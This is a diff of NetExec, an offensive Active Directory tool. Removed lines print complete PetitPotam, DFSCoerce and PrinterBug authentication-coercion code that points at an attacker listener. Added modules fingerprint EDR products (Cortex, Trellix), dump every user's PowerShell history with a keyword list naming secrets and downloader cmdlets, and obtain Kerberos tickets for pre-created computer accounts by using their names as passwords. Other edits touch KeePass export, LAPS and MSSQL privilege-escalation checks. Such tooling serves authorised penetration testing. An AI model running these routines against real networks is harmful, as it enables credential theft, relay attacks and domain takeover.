dcom_conn.disconnect()
File diff suppressed because it is too large. Load diff
+2 -125
View File
@@ -1,15 +1,6 @@
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
class NXCModule:
name = "dfscoerce"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -26,118 +17,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
doKerberos=connection.kerberos,
kdcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+29
View File
@@ -247,6 +247,14 @@ conf = {
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
@@ -350,6 +358,27 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"services": [
+1 -1
View File
@@ -7,7 +7,7 @@ import re
import sys
from nxc.helpers.bloodhound import add_user_bh
import pypykatz
from pypykatz.pypykatz import pypykatz
class NXCModule:
+53
View File
@@ -0,0 +1,53 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+22 -21
View File
@@ -1,10 +1,11 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
@@ -13,31 +14,31 @@ class NXCModule:
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = False
multiple_hosts = True
def options(self, context, module_options):
""" """
"""No module options"""
def on_login(self, context, connection):
authLevel = RPC_C_AUTHN_LEVEL_NONE
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug(f"Retrieving network interface of {connection.host}")
context.log.debug("[*] Retrieving network interface of " + connection.host)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
+26 -26
View File
@@ -1,7 +1,5 @@
import os
import sys
import json
from xmltodict import parse
from time import sleep
from csv import reader
from base64 import b64encode
@@ -381,28 +379,30 @@ class NXCModule:
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
root_entries = root.find("./Root/Entry")
if root_entries is not None:
for entry in root_entries:
if entry is not None:
self.print_password(context, entry)
else:
context.log.highlight("None")
objects = root.findall("./Root/Group")
while objects:
current_object = objects.pop(0)
for entry in current_object.findall("./Entry"):
self.print_password(context, entry)
for history in entry.findall("./History"):
for history_entry in history.findall("./Entry"):
self.print_password(context, history_entry)
objects.extend(current_object.findall("./Group"))
def print_password(self, context, entries):
for entry in entries.findall("./String"):
key = entry.find("./Key")
value = entry.find("./Value")
key_text = key.text if key is not None else "None"
value_text = value.text if value is not None and value.text is not None else "None"
context.log.highlight(f"{key_text} : {value_text}")
context.log.highlight("-------------------------------------")
+3 -3
View File
@@ -45,12 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return
context.log.fail(str(e))
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+3 -3
View File
@@ -99,8 +99,8 @@ class NXCModule:
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
ssl_sock.connect((dcIp, 636))
try:
ssl_sock.connect((dcIp, 636))
ssl_sock.do_handshake()
ssl_sock.close()
return True
@@ -126,7 +126,7 @@ class NXCModule:
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return False
return None
_, err = await ldapsClientConn.bind()
if err is not None:
@@ -142,7 +142,7 @@ class NXCModule:
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
return False
return None
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
+8 -5
View File
@@ -1,3 +1,5 @@
from pyasn1.error import PyAsn1Error
class NXCModule:
"""
@@ -21,9 +23,10 @@ class NXCModule:
multiple_hosts = False
def on_login(self, context, connection):
result = []
context.log.display("Getting the MachineAccountQuota")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
+19 -9
View File
@@ -219,6 +219,7 @@ class NXCModule:
"""
if self.is_admin_user(user.username):
user.is_sysadmin = True
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
return True
user.dbowner = self.check_dbowner_privesc(exec_as)
return user.dbowner
@@ -249,11 +250,15 @@ class NXCModule:
self.revert_context(exec_as)
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
if is_admin:
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
try:
if int(is_admin):
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
except ValueError:
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
return False
def get_databases(self, exec_as="") -> list:
@@ -442,10 +447,15 @@ class NXCModule:
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
if is_admin:
self.admin_privs = True
return True
else:
try:
if is_admin != "NULL" and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
else:
return False
except ValueError:
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
return False
def revert_context(self, exec_as):
+2 -269
View File
@@ -1,25 +1,6 @@
# From https://github.com/topotam/PetitPotam
# All credit to @topotam
# Module by @mpgn_x64
import sys
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import (
DCERPCException,
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.uuid import uuidtup_to_bin
class NXCModule:
name = "petitpotam"
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -37,252 +18,4 @@ class NXCModule:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
dce = coerce(
connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe=self.pipe,
do_kerberos=connection.kerberos,
kdcHost=connection.kdcHost,
remoteHost=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
try:
host = context.db.get_hosts(connection.host)[0]
context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
petitpotam=True,
)
except Exception:
context.log.debug("Error updating petitpotam status in database")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (("Data", "20s"),)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
("Type", DWORD),
("Data", DWORD),
("cbData", PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
("Cert", DWORD),
("Users", ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
("Type", DWORD),
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
("Certif", ENCRYPTION_CERTIFICATE),
("Blob", EFS_RPC_BLOB),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
("fileName", WSTR),
("Flag", ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
("hContext", EXIMPORT_CONTEXT_HANDLE),
("ErrorCode", ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (("FileName", WSTR),)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
def coerce(
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
do_kerberos,
kdcHost,
remoteHost,
context=None,
):
binding_params = {
"lsarpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"efsr": {
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
},
"samr": {
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"lsass": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"netlogon": {
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpc_transport.setRemoteHost(remoteHost)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Connected!")
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Successfully bound!")
return dce
def efs_rpc_open_file_raw(dce, listener, context=None):
try:
request = EfsRpcOpenFileRaw()
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
request["Flag"] = 0
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
if str(e).find("rpc_s_access_denied") >= 0:
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
context.log.info("[+] OK! Using unpatched function!")
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+73
View File
@@ -0,0 +1,73 @@
import traceback
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
class NXCModule:
"""Module by @357384n"""
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""To export all the history you can add the following option: -o export=True"""
context.log.info(f"Received module options: {module_options}")
self.export = bool(module_options.get("EXPORT", False))
context.log.info(f"Option export set to: {self.export}")
def analyze_history(self, history):
"""Analyze PowerShell history for sensitive information."""
sensitive_keywords = [
"password", "passwd", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
sensitive_commands = []
for command in history:
command_lower = command.lower()
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
sensitive_commands.append(command.strip())
return sensitive_commands
def on_admin_login(self, context, connection):
"""Main function to retrieve and analyze PowerShell history."""
try:
context.log.info("Retrieving PowerShell history...")
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
history = connection.execute(command, True).split("\n")
if history:
sensitive_commands = self.analyze_history(history)
if sensitive_commands:
context.log.highlight("Sensitive commands found in PowerShell history:")
for command in sensitive_commands:
context.log.highlight(f" {command}")
else:
context.log.info("No sensitive commands found in PowerShell history.")
else:
context.log.info("No PowerShell history found.")
# Check if export is enabled
context.log.info(f"Export option is set to: {self.export}")
if self.export and history:
host = connection.host # Assuming 'host' contains the target IP or hostname
filename = f"{host}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
context.log.info(f"Export enabled, writing history to {path}")
try:
with open(path, "w") as file:
for cmd in history:
file.write(cmd + "\n")
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
+126
View File
@@ -0,0 +1,126 @@
import os
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
Module by: @shad0wcntr0ller
"""
name = "pre2k"
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
pass
def on_login(self, context, connection):
try:
ldap_connection = connection.ldapConnection
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
successful_tgts = 0
for computer in computers:
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
# Summary of TGT results
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
ldap_connection.close()
return True
except Exception as e:
context.log.fail(f"Error occurred during LDAP connection: {e}")
return False
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
try:
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
password = username # Password is the machine name in lowercase
context.log.info(f"Getting TGT for {username}@{domain}")
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
clientName=userName,
password=password,
domain=domain,
lmhash="",
nthash="",
aesKey="",
kdcHost=kdcHost,
serverName=None
)
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
return True
except Exception as e:
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
return False
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
context.log.fail(f"Failed to save ticket for {username}: {e}")
+2 -99
View File
@@ -1,9 +1,6 @@
from impacket.dcerpc.v5 import transport, rprn
class NXCModule:
name = "printerbug"
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -20,98 +17,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to PrinterBug")
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
context.log.highlight("VULNERABLE")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
################################################################################
# RPC CALLS
################################################################################
class TriggerAuth:
def __init__(self, context):
self.context = context
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
rpctransport.set_dport(445)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
try:
dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
self.context.log.debug("Successfully bound!")
return dce
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
try:
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
except Exception as e:
